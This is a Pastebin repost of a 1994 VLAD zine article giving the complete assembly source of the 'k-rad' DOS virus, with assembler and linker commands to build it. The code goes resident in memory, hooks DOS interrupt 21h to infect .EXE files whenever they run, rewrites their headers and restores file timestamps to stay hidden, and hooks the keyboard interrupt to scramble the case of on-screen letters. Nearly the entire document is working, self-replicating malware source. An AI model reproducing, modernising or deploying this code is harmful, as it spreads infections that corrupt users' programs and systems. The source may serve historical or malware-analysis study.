Advertisement
FlyFar

VLAD Magazine - Issue AF - ARTICLE.3_7 - K-Rad Virus Source Code

Jul 1st, 2023
1,850
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 10.34 KB | Cybersecurity | 0 0
  1. comment #
  2.                             Source code of k-rad
  3.  
  4.                                by Evil Avatar
  5. #
  6.  
  7. ;===============================================================
  8. ;
  9. ;       k-rad Virus
  10. ;       (c) 1994 Evil Avatar
  11. ;
  12. ; TASM /M3 K-RAD
  13. ; TLINK /X K-RAD
  14. ; EXE2BIN K-RAD K-RAD.COM
  15.  
  16. .model tiny
  17. .code
  18. org 0
  19.  
  20. VLEN    equ (end_virus-k_rad)
  21. ID      equ 0d00dh
  22. VMEM    equ (end_virus-k_rad+15)/16+1
  23. VSIZEK  equ (end_virus-k_rad+1023)/1024
  24.  
  25. ;=====( Entry point for EXE files )========================================
  26.  
  27. k_rad:  db 0b8h, 8ch, 0d3h, 15h, 33h, 75h, 72h, 0f9h, 0d4h, -1, 08ah, 0c4h
  28.         mov ah, 0bh
  29.         mov bx, ID
  30.         int 21h                         ;installation check
  31.         or bx, bx                       ;are we installed?
  32.         je no_install                   ;yes? exit then
  33.         push ds                         ;save PSP segment
  34.         mov ax, ds
  35.         dec ax                          ;get MCB segment
  36.         mov ds, ax                      ;put MCB segment into DS
  37.         sub di, di                      ;clear di for indexing
  38.         cmp byte ptr ds:[di], 'Z'       ;last MCB in chain?
  39.         jnz no_install                  ;no? don't go resident
  40.         sub word ptr ds:[di+3], VMEM    ;shrink host allocation
  41.         sub word ptr ds:[di+12h], VMEM  ;alter PSP memory size field
  42.         mov es, word ptr ds:[di+12h]    ;get new virus segment
  43.         call $+3
  44.         pop si
  45.         sub si, offset $-1              ;get a delta offset
  46.         mov cx, (heap-k_rad+1)/2        ;size of virus in words
  47.         rep movs word ptr es:[di], word ptr cs:[si]     ;copy virus
  48.         mov ds, cx                      ;get IVT/BIOS data area
  49.         sub byte ptr ds:[413h], VSIZEK  ;decrease total system memory
  50.         lds bx, dword ptr ds:[21h*4]    ;get int 21h address
  51.         mov word ptr es:[save21], bx
  52.         mov word ptr es:[save21+2], ds  ;save address
  53.         mov ds, cx
  54.         lds bx, dword ptr ds:[9h*4]     ;get int 9h address
  55.         mov word ptr es:[save9], bx
  56.         mov word ptr es:[save9+2], ds   ;save address
  57.         mov ds, cx
  58.         cli                             ;clear ints for IVT maipulation
  59.         mov word ptr ds:[21h*4], offset int21
  60.         mov word ptr ds:[21h*4+2], es   ;set new int 21h address
  61.         mov word ptr ds:[9h*4], offset int9
  62.         mov word ptr ds:[9h*4+2], es    ;set new int 9h address
  63.         sti                             ;restore ints
  64.         pop ds                          ;restore PSP segment
  65.         push ds
  66.         pop es
  67. no_install:
  68.         call delta
  69. delta:  pop bp                          ;get delta offset
  70.         mov ax, es                      ;get PSP segment
  71.         add ax, 10h                     ;adjust for PSP
  72.         add word ptr ss:[bp+cs_ip+2-delta], ax  ;new CS
  73.         add word ptr ss:[bp+ss_sp-delta], ax    ;new SS
  74.         cli                             ;clear ints for stack manipulation
  75.         mov sp, word ptr ss:[bp+ss_sp+2-delta]  ;set new SP
  76.         mov ss, word ptr ss:[bp+ss_sp-delta]    ;set new SS
  77.         sti                             ;restore ints
  78.         db 0eah
  79. cs_ip   dd 0fff00000h                   ;set new CS:IP
  80. ss_sp   dd ?
  81.  
  82. ;=====( Interrupt 21h handler )============================================
  83.  
  84. int21:  cmp ah, 0bh
  85.         jne i0                          ;installation check
  86.         cmp bx, ID                      ;is it an installation check?
  87.         jne dos21                       ;go? let DOS handle it
  88.         sub bx, bx                      ;zero BX for logical or
  89.         iret                            ;return to caller
  90. i0:     cmp ax, 4b00h                   ;execute?
  91.         je infect                       ;totally /<-RaD!
  92. dos21:  jmp dword ptr cs:[save21]       ;jump to dos
  93.         db 'Made in the USA', 0         ;not an imported product
  94.  
  95. ;=====( Infection routine )================================================
  96.  
  97. infect: push ax bx cx dx bp si di ds es ;save calling registers
  98.         cbw                             ;clear ax
  99.         mov ds, ax                      ;get IVT
  100.         cli                             ;clear ints for IVT manipulation
  101.         mov word ptr ds:[24h*4], offset int24
  102.         mov word ptr ds:[24h*4+2], cs   ;set new int 24 handler
  103.         sti                             ;restore ints
  104.         mov ah, 3dh
  105.         push es
  106.         pop ds
  107.         int 21h                         ;open file read/only
  108.         jc no_good                      ;can't open? abort
  109.         push ax                         ;save handle
  110.         mov bx, 1220h
  111.         xchg ax, bx
  112.         int 2fh
  113.         mov ax, 1216h
  114.         sub bx, bx
  115.         mov bl, byte ptr es:[di]
  116.         int 2fh                         ;get SFT for handle
  117.         push cs
  118.         pop ds bx                       ;restore handle
  119.         mov ah, 3fh
  120.         mov cx, 1ch
  121.         mov dx, offset buffer
  122.         int 21h                         ;read in header
  123.         xchg si, dx
  124.         lodsw
  125.         cmp ax, 'MZ'                    ;is it an .EXE?
  126.         je do_it                        ;yeah? attempt an infection
  127.         cmp ax, 'ZM'                    ;is it an screwy .EXE?
  128.         je do_it                        ;yeah? attempt to infect it
  129. done:   mov ah, 3eh
  130.         int 21h                         ;close file
  131. no_good:
  132.         pop es ds di si bp dx cx bx ax  ;restore calling registers
  133.         jmp dos21                       ;jump to dos
  134. do_it:  cmp word ptr ds:[si-2+12h], ID  ;check checksum for infection
  135.         je done                         ;infected? abort
  136.         cmp word ptr ds:[si-2+0ch], -1  ;requests maximum memory?
  137.         jne done                        ;no? can't infect it properly
  138.         cmp word ptr ds:[si-2+1ah], 0   ;is it an overlay?
  139.         jnz done                        ;yes? can't infect it properly
  140.         mov ax, 4202h
  141.         sub cx, cx
  142.         cwd
  143.         int 21h                         ;go to end of file
  144.         push bx es di ax dx cs          ;save registers
  145.         pop es
  146.         add word ptr ds:[si-2+0ah], VMEM-1      ;set new minimum memory
  147.         add ax, (heap-k_rad)
  148.         adc dx, 0
  149.         mov cx, 200h
  150.         div cx                          ;calculate pages in infected file
  151.         mov word ptr ds:[si], dx        ;put it in header
  152.         or dx, dx                       ;remainder?
  153.         jz no_remainder                 ;no? no adjustment necessary
  154.         inc ax                          ;round up
  155. no_remainder:
  156.         mov word ptr ds:[si-2+4], ax    ;save it
  157.         lea si, [si-2+14h]              ;pointer to old CS:IP
  158.         lea di, [cs_ip]
  159.         movsw
  160.         movsw                           ;save it
  161.         sub si, 0ah                     ;point to SS:SP
  162.         movsw
  163.         movsw                           ;save it
  164.         pop dx ax                       ;restore file size
  165.         mov cx, 10h                     ;all the below stuff calculates
  166.         div cx                          ;the new CS:IP/SS:SP
  167.         mov bx, word ptr ds:[si-0eh-4+8]
  168.         sub ax, bx
  169.         sbb dx, 0
  170. adjust_ip:                              ;make sure IP is less than 16
  171.         cmp dx, cx                      ;so SS can be in the same segment
  172.         jb fixed_ip
  173.         inc ax
  174.         sub dx, cx
  175.         jmp adjust_ip
  176. fixed_ip:
  177.         mov cx, ID                      ;this below stuff saves the new
  178.         lea di, [buffer+0eh]            ;CS:IP, SS:SP, and negative
  179.         stosw                           ;checksum
  180.         xchg ax, cx
  181.         stosw
  182.         stosw
  183.         xchg ax, dx
  184.         stosw
  185.         xchg ax, cx
  186.         stosw
  187.         pop di es bx                    ;restore handle and SFT
  188.         mov word ptr es:[di+2], 2       ;set to read/write
  189.         mov ah, 40h
  190.         mov cx, (heap-k_rad)
  191.         cwd
  192.         int 21h                         ;write virus to file
  193.         mov word ptr es:[di+15h], 0
  194.         mov word ptr es:[di+17h], 0     ;go to start of file
  195.         mov ah, 40h
  196.         mov cx, 1ch
  197.         lea dx, [buffer]
  198.         int 21h                         ;write new header
  199.         mov ax, 5701h
  200.         mov cx, word ptr es:[di+0dh]
  201.         mov dx, word ptr es:[di+0fh]
  202.         int 21h                         ;restore time/date
  203.         jmp done                        ;exit. done infecting
  204.  
  205. ;=====( Critical error handler )===========================================
  206.  
  207. int24:  iret
  208.  
  209. ;=====( Interrupt 9h handler )=============================================
  210.  
  211. int9:   push ax bx cx dx
  212.         mov ah, 0fh
  213.         int 10h                         ;get page number
  214.         mov ah, 3
  215.         int 10h                         ;get cursor position
  216.         mov ah, 2
  217.         dec dl
  218.         int 10h                         ;set position to previous character
  219.         mov ah, 8
  220.         int 10h                         ;get character
  221.         and al, 5fh                     ;make uppercase
  222.         cmp al, 41h                     ;check if it is a letter
  223.         jb no_change                    ;if not then exit
  224.         cmp al, 5ah
  225.         ja no_change
  226.         push ax                         ;save it
  227.         mov ah, 2
  228.         dec dl
  229.         int 10h                         ;set position to previous character
  230.         mov ah, 8
  231.         int 10h                         ;get character
  232.         cmp al, 41h                     ;is it uppercase?
  233.         jb no_fix                       ;no? make next character uppercase
  234.         cmp al, 5ah                     ;is it uppercase?
  235.         ja no_fix                       ;no? make next one uppercase
  236. fix:    pop ax                          ;restore old letter
  237.         add al, 20h                     ;make lowercase
  238.         jmp new_char
  239. no_fix: pop ax                          ;restore old letter
  240. new_char:
  241.         inc dl
  242.         mov ah, 2
  243.         int 10h                         ;move forward one character
  244.         mov ah, 0ah
  245.         mov cx, 1
  246.         int 10h                         ;write new letter
  247. no_change:
  248.         mov ah, 2
  249.         inc dl
  250.         int 10h                         ;restore old cursor position
  251.         pop dx cx bx ax                 ;restore used registers
  252.         jmp dword ptr cs:[save9]        ;jump to old int 9 handler
  253.  
  254. ;=====( Virus data area )==================================================
  255.  
  256. virus   db '[k-rad]', 0
  257. author  db 'by Evil Avatar', 0
  258. heap:
  259. save21  dd ?
  260. save9   dd ?
  261. buffer  db 1ch dup (?)
  262. end_virus:
  263.  
  264. end k_rad
Tags: virus vlad
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement